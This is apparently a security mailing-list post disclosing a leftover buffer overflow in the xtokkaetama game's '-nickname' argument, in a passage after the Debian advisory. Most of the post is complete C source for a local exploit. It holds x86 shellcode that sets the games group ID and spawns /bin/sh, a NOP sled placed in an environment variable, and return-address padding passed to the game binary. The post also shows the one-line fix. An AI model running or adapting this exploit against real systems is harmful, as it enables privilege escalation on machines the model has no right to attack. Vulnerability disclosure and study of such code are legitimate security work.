not a big deal, but after viewing the debian advisory for xtokkaetama; BID

found at http://www.securityfocus.com/bid/8312. i took a quick look at

the source, and noticed an overlooked buffer overflow that occurs later in

the program. the overflow is a result of the "-nickname" command line

argument...quick example exploit follows. (i don't have a debian box here,

but the exploit should still work ok, tested on redhat7.1)

--------------------------- exploit: xxtama.c ---------------------------

/* (linux/x86)xtokkaetama[v1.0b+]: (games) local buffer overflow exploit.

by: v9[v9 (at) fakehalo.deadpig (dot) org [email concealed]]. (fakehalo)

exploits an overflow missed in the patch/upgrade of:

http://www.securityfocus.com/bid/8312

fix:

xtama_score.c:132: +strncpy(name,nickname,sizeof(name)-1);

xtama_score.c:132: -sscanf( nickname , "%s",name ) ;

(tested on non-debian, should still work elsewhere)

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <grp.h>

#include <sys/types.h>

#define PATH "/usr/games/xtokkaetama" /* game binary. */

static char exec[]= /* setgid(?)+shell. */

"\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd"

"\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"

"\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"

"\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"

"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";

int main(){

unsigned int i;

char *buf;

struct group *gent;

printf("(*)xtokkaetama[v1.0b+]: local buffer overflow exploit.\n");

printf("(*)by: v9 (at) fakehalo.deadpig (dot) org [email concealed] / fakehalo.\n\n");

if(!(buf=(char *)malloc(16384+1)))exit(1);

memset(buf,0x90,(16384-strlen(exec)));

if(!(gent=getgrnam("games")))exec[5]=exec[7]=20;

else{exec[5]=exec[7]=gent->gr_gid;}

strcat(buf,exec);

setenv("EXEC",buf,1);

memset(buf,0x0,(16384+1));

for(i=0;i<512;i+=4){*(long *)&buf[i]=0xbfffe001;}

printf("[*] in the game, hit: spacebar, \"Q\", spacebar, spacebar.\n");

sleep(3);

printf("[*] entering xtokkaetama...\n");

if(execlp(PATH,PATH,"-nickname",buf,0))

printf("[!] failed to execute %s.\n",PATH);

exit(0);

}

[ reply ]